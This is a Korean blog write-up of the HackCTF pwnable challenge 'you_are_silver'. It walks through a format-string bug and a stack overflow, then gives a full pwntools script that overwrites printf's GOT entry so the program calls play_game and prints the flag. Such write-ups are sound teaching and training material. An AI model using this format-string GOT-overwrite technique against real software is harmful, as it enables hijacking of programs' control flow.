tmxklab

[HackCTF/Pwnable] you_are_silver 본문

War Game/HackCTF

[HackCTF/Pwnable] you_are_silver

tmxk4221 2020. 6. 30. 17:08

이후에 힙 관련 취약점을 이용한 문제들이 많으므로 힙 공부를 끝낸 뒤에 풀어볼 예정이다.

 


1. 문제

nc ctf.j0n9hyun.xyz 3022

 

1) mitigation

 

2) 문제 확인

 

3) 코드흐름 파악

3-1) main()

  • s변수에 입력 값을 받고 바로 포맷 지정자 없이 printf함수로 출력 -> FSB 취약점 발생
  • v5변수에 get_tier함수 리턴 값을 저장하고 출력

 

3-2) play_game()

  • 메인 함수 코드에서 사용되지 않은 함수로 해당 함수를 호출하여 파라미터 a1의 값이 4이면 플래그 값 출력

 

 


2. 접근 방법

 

먼저, 메인 함수 코드 흐름상에 play_game함수를 호출하는 로직이 존재하지 않으므로 play_game함수를 호출하도록 해야 한다.

또한, play_game함수의 파라미터로 4를 받아 플래그 값을 출력하도록 해야 한다.

 

PIE는 걸려있지 않으므로 메인 함수 마지막 printf대신에 play_game함수를 호출하도록 하며,

fget함수에서 s[rbp-0x30]변수에 46bytes까지 입력을 받을 수 있어 v6[rbp-0x4]변수의 값을 덮어씌울 수 있다.

  • v6의 값을 변경하여 get_tier의 리턴 값으로 v5변수의 값도 변경 가능

 

 

결론)

  • fgets함수를 통해 v6변수에 75보다 큰 값으로 변경(s변수에 46bytes까지 입력을 받으므로 v6까지 건드림)
  • 11번째 printf함수에서 발생하는 FSB취약점을 이용하여 메인 함수 마지막 printf함수를 play_gaem함수로 변경(GOT Overwrite)
  • 결국 printf함수 대신에 play_game함수가 호출되고 파라미터로 1을 받게 되어 플래그 값 출력

 


3. 풀이

 

fsb를 이용하여 위 결론에 나온대로 printf_got에 play_game함수의 주소 값을 써주면 된다.

 

문제점 1) payload에 printf_got를 먼저 사용한 경우

payload = printf_got + %(play_game)c + %6$ln + (45 - len(payload)) * "z"

printf_got 다음에 널 값 때문에 fsb진행 안됨

 

 

해결 1)

  • printf_got위치와 play_game위치를 바꿔주면 됨
  • 어차피 fsb진행 끝나면 나머지 값들은 필요가 없고 overflow로 v6[rbp-0x4]위치에 "z"값만 들어가면 되므로

 

문제점 2) printf_got 8bytes 맞춰주지 않은 경우

printf_got값이 짤리게 됨

 

해결 2)

  • printf_got값이 나오기 전에 아무 값이나 2bytes를 널어 8bytes사이즈를 맞춰줌

 

test)

  • printf_got에 play_game 주소 값 확인
  • v6[rbp-0x4]위치에 "z"(0x7a)확인

 

익스 코드)

from pwn import *

#p = process("./you_are_silver", aslr=False)
p = remote("ctf.j0n9hyun.xyz", 3022)
#gdb.attach(p, """b*0x400859""")

e = ELF("./you_are_silver")
printf_got = e.got["printf"]
play_game = e.symbols["play_game"]

print("printf_got : "+hex(printf_got))
print("printf_got(str) : "+str(printf_got))
print("playgame : "+hex(play_game))
print("playgame(str) : "+str(play_game))

payload = "%"+str(play_game)+"c"
payload += "%8$ln"
payload += "A"*2
payload += p64(printf_got)
payload += (45 - len(payload))*"z"

p.sendlineafter("name\n", payload)

p.interactive()

 

공격 실행)

 

 

'War Game > HackCTF' 카테고리의 다른 글

[HackCTF/Pwnable] ROP  (0) 2020.07.20
[HackCTF/Pwnable] UAF  (0) 2020.07.20
[HackCTF/Pwnable] Pwning  (2) 2020.06.23
[HackCTF/Pwnable] pzshell  (0) 2020.06.11
[HackCTF/Pwnable] ezshell  (0) 2020.06.11
Comments